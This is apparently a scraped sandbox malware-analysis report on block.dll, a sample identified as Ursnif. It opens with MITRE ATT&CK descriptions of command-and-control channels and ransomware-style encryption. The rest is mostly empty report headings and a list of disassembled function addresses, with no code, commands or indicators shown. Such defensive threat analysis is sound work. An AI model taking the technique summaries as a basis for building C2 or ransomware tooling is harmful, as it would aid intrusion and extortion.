Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report block.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Function 6DD31979, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 6DD318D1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 6DD31566, Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Function 6DD31F31, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 6DD31B89, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 6DD317A7, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Function 6DD31AA5, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 6DD31E04, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON